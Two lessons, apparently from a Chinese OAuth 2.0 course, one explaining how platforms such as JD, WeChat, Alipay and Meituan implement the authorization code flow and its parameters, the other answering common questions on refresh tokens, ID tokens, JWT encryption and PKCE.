到这里,你会发现“开放平台的官方文档”会是一个关键点。不过呢,当你去各大开放平台上面看这些文档的时候,就会发现这些文档非常分散。
其中的原因也很简单那就是开放平台为了让已经具备OAuth 2.0知识的研发人员去快速地对接平台上面的业务把各类对接流程做了分类归档。比如你会发现微信开放平台上有使用授权码获取授权信息的文档也有获取令牌的文档但并没有一份整体的、能够串起来的文档说明。从我的角度来看这其实也就间接提高了使用门槛因为如果你不懂OAuth 2.0,基本是没办法理解那些分类的。
那么今天我就借着这个点和你说说以京东、微信、支付宝、美团为代表的各大开放平台是如何使用OAuth 2.0的。理解了这个问题,你以后再对接一个开放平台、再阅读一份官方对接文档时,就更能明白它们的底层逻辑了。
在正式介绍各大开放平台的使用细节之前,我们先来看看大厂的开放平台全局体系。据我观察,各个开放平台基本的系统结构和授权系统在中间的交互流程,大同小异,都是通过授权服务来授权,通过网关来鉴权。所以接下来,我就以京东商家开放平台为例,来和你说说开放平台的体系到底是什么样子的。
## 开放平台体系是什么样子的?
我们首先来看一下京东商家开放平台全局体系的结构,如下图所示。
<img src="https://static001.geekbang.org/resource/image/57/56/5775b5bbc363ba2f94d9f6f8e2d05d56.png" alt="" title="图1 京东商家开放平台体系结构示意图">
我们可以把这个架构体系分为三部分来看:
1. 第三方软件一般是指第三方开发者或者ISV通过对接开放平台来实现的应用软件比如小兔打单软件。
1. 京东商家开放平台包含API网关服务、OAuth 2.0授权服务和第三方软件开发者中心服务。其中API网关服务和OAuth 2.0授权服务是开放平台的“两条腿”第三方软件开发者中心服务是为开发者提供管理第三方软件应用基本信息的服务比如app_id、app_secret等信息。
1. 京东内部的各个微服务,比如订单服务、商品服务等。这些微服务,就是我们之前提到的受保护资源服务。
从图中我们还可以看到这个体系整体的调用关系是第三方软件通过HTTP协议请求到开放平台更具体地说是开放平台的API网关服务然后由API网关通过内部的RPC调用到各个微服务。
接下来,我们再以用户小明使用小兔打单软件为例,来看看这些系统角色之间具体又是怎样交互的?
<img src="https://static001.geekbang.org/resource/image/30/4b/30f2b2db8c01f0fc60e2d821cd59f94b.png" alt="" title="图2 开放平台体系交互示意图">
到这里,我们可以发现,在开放平台体系中各个系统角色间的交互可以归结为:
1. 当用户小明访问小兔软件的时候小兔会首先向开放平台的OAuth 2.0 授权服务去请求访问令牌接着小兔拿着访问令牌去请求API网关服务
1. 在API网关服务中会做最基本的两种校验一种是访问令牌的合法性校验比如访问令牌是否过期的校验另一种是小兔打单软件的基本信息的合法性校验比如app_id和app_secret的校验
1. 都校验成功之后API网关服务会发起最终的数据请求。
这里需要说明的是,在[第5讲](https://time.geekbang.org/column/article/257767)中我们提到,验证访问令牌或者第三方软件应用信息的时候,都是在受保护资源服务中去做的。**当有了API网关这一层的时候这些校验工作就会都落到了API网关的身上因为我们不能让很多个受保护资源服务做同样的事情**。
我们理解了京东商家开放平台的体系结构后可以小结下了。依靠开放平台提供的能力可以说开放平台、用户和开发者实现了三赢小明因为使用小兔提高了打单效率小兔的开发者因为小明的订购服务获得了收益而通过开放出去的API让小兔帮助小明能够极快地处理C端用户的订单京东提高了用户的使用体验。
但同时呢,开放也是一把双刃剑。理想状态下,平台、开发者、用户可以实现三赢,但正如我们在[第8讲](https://time.geekbang.org/column/article/261403)和[第10讲](https://time.geekbang.org/column/article/263763)中提到的,安全的问题绝不容忽视,而用户的信息安全又是重中之重。接下来,我就和你分享一个,开放平台体系是如何解决访问令牌安全问题的案例。
我们已经知道,用户给第三方软件授权之后,授权服务就会生成一个访问令牌,而且这个访问令牌是跟用户关联的。比如,小明给小兔打单软件进行了授权,那么此时访问令牌的粒度就是:小兔打单软件+小明。
我们还知道了,小兔打单软件可以拿着这个访问令牌去代表小明访问小明的数据;如果访问令牌过期了,小兔打单软件还可以继续使用刷新令牌来访问,直到刷新令牌也过期了。
现在问题来了,如果小明注销了账号,或者修改了自己的密码,那他之前为其它第三方软件进行授权的访问令牌就应该立即失效。否则,在刷新令牌过期之前,第三方软件可以一直拿着之前的访问令牌去请求数据。这显然不合理。
所以在这种情况下授权服务就要通过MQ消息队列接收用户的注销和修改密码这两类消息然后对访问令牌进行清理。
<img src="https://static001.geekbang.org/resource/image/9d/ca/9d05fa572bccec8da5c895b49a9946ca.png" alt="" title="图3 访问令牌的清理">
其实这个案例中解决访问令牌安全问题的方式不仅仅适用于开放平台还可以为你在企业内构建自己的OAuth 2.0授权体系结构时提供借鉴。
以上就是开放平台整体的结构以及其中需要重点关注的用户访问令牌的安全性问题了。我们作为第三方软件开发者在对接到这些开放平台或者浏览它们的网站时几乎都能看到类似这样的一句话“所有接口都需要接入OAuth授权经过用户确认授权后才可以调用”这正是OAuth 2.0的根本性作用。
理解了开放平台的脉络之后接下来就让我们通过一组图看一看开放平台是如何使用OAuth 2.0授权流程的吧。
## 各大开放平台授权流程
我们以[微信](https://developers.weixin.qq.com/doc/oplatform/Website_App/WeChat_Login/Wechat_Login.html)、[支付宝](https://opendocs.alipay.com/open/common/105193/)、[美团](https://open.waimai.meituan.com/openapi_docs/index.html)为例看看它们在开放授权上是如何使用OAuth 2.0 的。我们首先看一下官方的授权流程图:
<img src="https://static001.geekbang.org/resource/image/ab/dc/abc7611d467d45bf39d8e07e0d0267dc.png" alt="" title="图4 微信开放平台授权流程图">
>
引自[微信官方文档](https://developers.weixin.qq.com/doc/oplatform/Website_App/WeChat_Login/Wechat_Login.html)
<img src="https://static001.geekbang.org/resource/image/e2/b7/e27a6836ef686e23284f9314cc3a25b7.png" alt="" title="图5 支付宝开放平台授权流程图">
>
引自[支付宝开放平台文档](https://opendocs.alipay.com/open/common/105193/)
<img src="https://static001.geekbang.org/resource/image/e9/ea/e98e9ed5e607561df173262703ca3dea.png" alt="" title="图6 美团开放平台授权流程图">
>
引自[美团外卖开放平台](https://open.waimai.meituan.com/openapi_docs/oauth/)
我们可以在这三张授权流程图中看到都有和授权码code相关的文字。这就说明**它们都建议开发者首选授权码流程**。所以,你现在更能明白我为啥在这门课里要花这么多篇幅,来和你讲授权码许可相关的内容了吧。
在这一讲最开始我也提到了,我们作为开发者在对接开放平台的时候,最关心的就是它们提供的官方对接文档了。而**这些文档里面,最让人头疼就是那些通信过程中需要传递的参数**了。下面我会带着你从我的角度,以京东商家开放平台为例,给你串下这些参数背后的含义,以及关键点。这样你在做具体接入操作的时候,就可以举重若轻了。
## 授权码流程中的参数说明
概括来讲,在京东商家开放平台的授权服务这一侧,提供服务的就是两个端点:负责生成授权码的**授权端点**以及负责颁发访问令牌的**令牌端点**。整个授权过程中,虽然看着有很多参数,但你可以围绕这两条线,来对它们做归类。
接下来,我们继续以小兔打单软件为例,来看一下它在对接京东商家开放平台的时候都用到了哪些参数。
小明在使用小兔打单软件的时候,首先被小兔通过重定向的方式引导到京东商家开放平台的授权服务上,其实就是引导到了授权服务的授权端点上。这个重定向的过程中用到的参数如下:
<img src="https://static001.geekbang.org/resource/image/0e/03/0e8394fedd9205e38c3yyc6e7bae2303.jpg" alt="" title="图7 重定向过程用到的参数">
这里需要强调的是对于state参数现在官方都是“推荐”使用。我们在[第8讲](https://time.geekbang.org/column/article/261403)中说过OAuth 2.0官方建议的避免CSRF攻击的方式就是使用state参数。所以安全起见你还是应该使用。
接着,京东商家开放平台授权服务的授权端点,会向小兔软件做出响应。这个响应的过程用到的基本参数,如下:
<img src="https://static001.geekbang.org/resource/image/b6/61/b653bc541a98920001385612f2309361.jpg" alt="" title="图8 授权端点响应小兔软件用到的参数">
对于授权码code的值一般建议的最长生命周期是10分钟。另外小兔打单软件只能被允许使用一次该授权码的值如果使用一次之后还用同样的授权码值来请求授权服务必须拒绝。
对于这次的state值授权服务每次都是必须要返回给小兔打单软件的。无论小兔打单软件在起初的时候有没有发送该值都必须返回回去如果没有就返回空。这样当小兔打单软件日后升级增加该值的时候京东商家开放平台就不需要改动任何代码逻辑了。
在拿到授权码code的值之后接下来就是小兔打单软件向京东商家开放平台的授权服务的令牌端点发起请求申请访问令牌。这个过程中需要传递的基本参数如下
<img src="https://static001.geekbang.org/resource/image/18/7f/18c8245e61ce14c1f7a227a6e713b37f.jpg" alt="" title="图9 申请访问令牌需要传递的基本参数">
在授权服务接收到小兔打单软件申请访问令牌的请求后,像授权端点一样,令牌端点也需要向小兔打单软件做出响应。这个过程涉及到的基本参数,如下:
<img src="https://static001.geekbang.org/resource/image/1a/b5/1ac4ded2b7131b475ac71bf4b39c72b5.jpg" alt="" title="图10 令牌端点响应小兔软件涉及的参数">
对于这里返回的scope值我要强调下其实就是小兔软件被允许的实际的权限范围因为小明有可能给小兔软件授予了小于它在开放平台注册时申请的权限范围。比如小兔打单软件申请了查询历史订单、查询当天订单两个API的权限但小明可能只给小兔授权了查询当天订单API的权限。
## 总结
好了,这一讲就要结束了。我们一起学习了开放平台体系的整体结构和授权流程,以及第三方软件开发者关心的对接开放平台的通信流程中需要传递的参数。现在,我希望你能记住以下三点内容。
1. 当有多个受保护资源服务的时候,基本的鉴权工作,包括访问令牌的验证、第三方软件应用信息的验证都应该抽出一个 API网关层并把这些基本的工作放到这个API网关层。
1. 各大开放平台都是推荐使用授权码许可流程无论是网页版的Web应用程序还是移动应用程序。
1. 对于第三方软件开发者重点关注的参数,可以从授权服务的授权端点和令牌端点来区分,授权端点重点是授权码请求和响应的处理,令牌端点重点是访问令牌请求和响应的处理。
## 思考题
在有了API网关这一层之后API网关向订单服务请求数据的时候还是传递访问令牌access_token的值吗如果不是的话它传递的又是什么值呢
欢迎你在留言区分享你的观点,也欢迎你把今天的内容分享给其他朋友,我们一起交流。

View File

@@ -0,0 +1,103 @@
<audio id="audio" title="14 | 查漏补缺OAuth 2.0 常见问题答疑" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/cf/22/cfc6b34c14835af468d61eed201d5a22.mp3"></audio>
你好,我是王新栋。
从6月29日这门课上线到现在已经过去一个多月了。我看到了很多同学的留言有思考也有提出的问题。那我首先在这里要感谢你对咱们这门课的支持、鼓励和反馈。
在回复你们的留言时我也把你们提出的问题记了下来。在梳理今天这期答疑的时候我又从头到尾看了一遍这些问题也进一步思考了每个问题背后的元认知最后我归纳出了6个问题
1. 发明 OAuth 的目的到底是什么?
1. OAuth 2.0 是身份认证协议吗?
1. 有了刷新令牌,是不是就可以让访问令牌一直有效了?
1. 使用了HTTPS是不是就能确保JWT格式令牌的数据安全
1. ID令牌和访问令牌之间有联系吗
1. PKCE协议到底解决的是什么问题
接下来,我们就一一看看这些问题吧。
## 发明 OAuth 的目的到底是什么?
OAuth 协议的设计初衷,就是让最终用户也就是资源拥有者(小明),将他们在受保护资源服务器(京东商家开放平台)上的部分权限(查询当天订单)**委托**给第三方应用(小兔打单软件),使得第三方应用(小兔)能够代表最终用户(小明)执行操作(查询当天订单)。
这便是OAuth 协议设计的目的。在OAuth 协议中,通过为**每个第三方软件和每个用户的组合**分别生成对受保护资源具有**受限的访问权限的凭据,也就是访问令牌**,来代替之前的用户名和密码。**而生成访问令牌之前的登录操作,又是在用户跟平台之间进行的,第三方软件根本无从得知用户的任何信息。**
这样第三方软件的逻辑处理就大大简化了它今后的动作就变成了请求访问令牌、使用访问令牌、访问受保护资源同时在第三方软件调用大量API的时候**不再传输用户名和密码,从而减少了网络安全的攻击面。**
从安全的角度来讲,**为每个第三方软件和每个用户的组合来生成一个访问令牌**的方式,可以减少对平台更多用户造成的危害。因为这样一来,单个第三方软件被攻破而带来的危害,仅仅会让这一个第三方软件的用户受到影响。
那么有的同学就要会问了,这样攻击的对象就会转移到授权服务身上。这个想法没错,但保护一个授权服务肯定要比保护成千上万个、由不同研发人员开发的第三方软件容易得多。
## OAuth 2.0 是身份认证协议吗?
在这门课中,我其实一直在强调,**OAuth 2.0 是一种授权协议“它一心只专注于干好授权这件事儿”OAuth 2.0 不是身份认证协议。**但实际上,我在刚开始学习 OAuth 2.0 的时候,也曾错误地认为它是身份认证协议。
因为我当时觉得,有用户参与其中,比如小明在使用小兔打单软件之前,要向授权服务进行登录操作从而进行身份认证 那OAuth 2.0就应该是一个身份认证协议啊。
但是,小明必须登录之后才能进行授权,是一个额外的需求,登录跟授权体系是独立的。虽然登录操作看似“内嵌”在了 OAuth 2.0 的流程中,但生产环境中登录和授权还是两套独立存在的系统。所以说,**像这种“内嵌”的身份认证行为,并不是说 OAuth 2.0 自身承担起了身份认证协议的责任。**
同时身份认证会告诉第三方软件当前的用户是谁但实际上OAuth 2.0 自始至终都没有向第三方软件透露过关于用户的任何信息。这一点我们在讲发明OAuth协议的目的时也提到过。我们可以再想想小兔打单软件的例子看是不是这样小兔打单软件永远也不会知道小明的任何信息它仅仅是请求访问令牌使用访问令牌并最终调用查询订单的API。
## 有了刷新令牌,是不是就可以让访问令牌一直有效了?
要回答这个问题,我们先复习下访问令牌和刷新令牌相关的几个知识点吧。
第一OAuth 2.0的核心是授权,授权的核心是令牌,也就是我们说的访问令牌。
第二,在[第3讲](https://time.geekbang.org/column/article/257101)中我们提到为了提高用户的体验OAuth 2.0提供了刷新令牌的机制,使得访问令牌过期后,第三方软件在无需用户再次授权的情况下,可以重新请求一个访问令牌。
第三,在使用上,**刷新令牌只能用在授权服务上,而访问令牌只能用在受保护资源服务上。**
有了这些知识做基础,我们可以继续分析“有了刷新令牌,是不是就可以让访问令牌一直有效”这个问题了。
当访问令牌被 “递给” 受保护资源服务的时候,受保护资源服务需要对访问令牌进行验证,还要对访问令牌关联的权限和第三方软件的请求进行权限匹配校验。当访问令牌过期的时候,我们使用刷新令牌请求到的访问令牌,是授权服务重新生成的,而不是延长了原访问令牌的有效期。
当前的这个刷新令牌被使用之后,授权服务可以自行决定是颁发一个新的刷新令牌,还是仍然给第三方软件返回上一个刷新令牌。安全起见,我们的建议是**返回一个新的刷新令牌**。这时,你可能就有一个疑问了:第三方软件已经换了一个访问令牌了,刷新令牌又一直存在,那是不是就可以一直使用刷新令牌来获取访问令牌了呢?
要解决这个疑问,我们要知道的是,**刷新令牌也有有效期。**尽管生成了新的刷新令牌,但它的有效期不会改变,有效期的时间戳仍然是上一个刷新令牌的。刷新令牌的有效期到了,就不能再继续用它来申请新的访问令牌了。
## 使用了HTTPS是不是就能确保JWT格式令牌的数据安全
OAuth 2.0 的使用从来都不应该脱离HTTPS。因为访问令牌、应用密钥敏感信息要在网络上传输都离不开HTTPS的保护。但是HTTPS也只是保证了访问令牌等重要信息在网络传输上的安全。
在OAuth 2.0 的规范中访问令牌对第三方软件是不透明的从来都不应该被任何第三方软件解析到。由于JWT格式的令牌自包含了用户相关的信息比如用户标识因此仅仅对它进行签名还不够。要避免第三方软件有机会获取访问令牌所包含的信息那我们在与第三方软件交互的环境下使用JWT格式的令牌时还要对它进行加密来保障令牌的安全而不是仅仅依靠HTTPS。
## ID令牌和访问令牌之间有联系吗
在[第9讲](https://time.geekbang.org/column/article/262672)中我们在用OAuth 2.0 实现一个 OpenID Connect身份认证协议的时候讲到了ID令牌。在这一讲的后面有同学还是不太清楚ID令牌和访问令牌是啥关系当时我就在留言区做了回复。现在我重新整理了思路再和你解释一下因为认识到ID令牌和访问令牌的联系与区别对我们利用OAuth 2.0 搭建一个身份认证协议来说太重要了。
我们先来总结下ID令牌和访问令牌的作用
- ID令牌也就是ID_TOKEN代表的是用户身份令牌可以说是一个单独的身份认证结果永远不会像访问令牌那样作为一个参数去传递给其它外部服务
- 访问令牌也就是ACCESS_TOKEN就是一个令牌是要被第三方软件用来作为凭证从而代表用户去请求受保护资源服务的。
你看,这两种令牌是截然不同的。接下来,我们就分析下,它们的区别都体现在哪些方面吧。
第一ID令牌是对访问令牌的补充而不是要替换访问令牌。之所以采用这样双令牌的方式就是想让早先存在的访问令牌可以在OAuth 2.0 中继续保持对第三方软件的不透明性而让后来新增的ID令牌要能够被解析目的就是方便应用到身份认证协议中。
第二ID令牌和访问令牌有不同的生命周期ID令牌的生命周期相对来说更短些。因为ID令牌的作用就是代表一个单独的身份认证结果它的使命就是用来标识用户的。而这个标识并不是用户名用户登录的时候用的是用户名而不是这个ID令牌所以如果用户注销或者退出了登录ID令牌的生命周期就随之结束了。
访问令牌可以在用户离开后的很长时间内,继续被第三方软件用来请求受保护资源服务。比如,小明使用了小兔打单软件的批量导出订单功能,如果耗时相对比较长,小明不必一直在场。
## PKCE协议到底解决的是什么问题
我们在[第7讲](https://time.geekbang.org/column/article/260670)中学习PKCE协议时我看到了大家对这个协议的很多留言有的是自己的思考有的是问题的进一步讨论。我们要理解PKCE协议到底解决了什么问题就要先看一下它被推出的背景。
2012年10月OAuth 2.0 的正式授权协议框架也就是官方的RFC 6749被正式发布2015年9月增补了PKCE协议也就是官方的RFC 7636。从时间上来看从正式发布 OAuth 2.0 授权协议到增补发布了PKCE协议整整间隔了三年而这三年恰恰是移动应用蓬勃发展的时期。
同时在原生的移动客户端应用保存秘钥又存在特殊的安全问题使用OAuth 2.0 授权码许可类型的客户端又容易受到授权码窃听的攻击。
所以PKCE被增补发布的背景是移动应用大力发展同时原生客户端使用OAuth 2.0 面临着安全风险。这样我们就能理解了发布PKCE协议的目的主要就是缓解针对公开客户端的攻击提高授权码使用的安全性。
## 总结
今天我们专门用一节课来统一回答了OAuth 2.0的共性问题。我再来总结下你需要掌握的知识点:
1. OAuth 协议被发明的目的,就是用令牌代替用户名和密码。
1. OAuth 2.0 不能被直接用来“从事”身份认证协议的“工作”。虽然OAuth2.0的使用要求是在HTTPS的环境下但这并不能解决JWT令牌对第三方软件“不透明”的问题还需要进行加密。
1. 有了刷新令牌也不能让访问令牌一直有效下去,因为刷新令牌也有有效期。
1. ID令牌是对访问令牌的补充而不是要替代访问令牌。
1. PKCE是OAuth 2.0的一个增补协议,主要用来缓解授权码被窃听的安全风险。
或许你在学习和实践OAuth 2.0时还会遇到其他问题,但不用担心,我们的留言区一直在,我也继续在留言区等着你,来回复你关心的、遇到的问题。
欢迎你在留言区分享你的观点也欢迎你把今天的内容分享给其他使用OAuth 2.0的朋友,我们一起精进。